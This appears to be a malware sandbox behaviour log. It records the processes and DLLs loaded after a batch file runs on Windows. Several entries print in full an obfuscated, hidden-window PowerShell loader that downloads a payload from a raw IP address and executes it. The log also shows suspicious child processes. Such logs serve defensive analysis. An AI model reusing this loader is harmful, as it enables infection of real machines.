Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Doc_004024024001.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');R
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');R	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"	Jump to behavior
Source: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
